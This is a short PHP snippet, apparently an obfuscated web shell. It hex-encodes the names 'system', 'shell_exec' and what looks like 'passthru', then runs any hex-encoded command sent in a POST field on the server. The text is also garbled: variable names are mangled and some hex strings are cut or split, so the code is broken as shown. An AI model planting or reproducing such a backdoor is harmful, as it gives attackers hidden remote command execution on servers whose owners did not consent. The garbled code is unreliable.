'973'0 = '468';
'973'1 = '727';
'973'2 = '636';
'973'3 = '56e';
'973'4 = '572';
$accepted1 = pack("H*", '73797374656d');
$accepted2 = pack("H*", '7368656c6c5f657865');
$accepted3 = pack("H*", '7368656c6');
$accepted4 = pack("H*", '706173737973'0 . '973'1);
$center = pack("H*", '973'2 . '973'3 . '746973'4);
if (isset($_POST[$center])) {
    $center = pack("H*", $_POST[$center]);
    if (function_exists($accepted1)) {
        $accepted1($center);
    } elseif (function_exists($accepted2)) {
        $accepted2($center);
    } elseif (function_exists($accepted3)) {
        $accepted3($center);
    } elseif (function_exists($accepted4)) {
        $accepted4($center);
    }
    exit;
}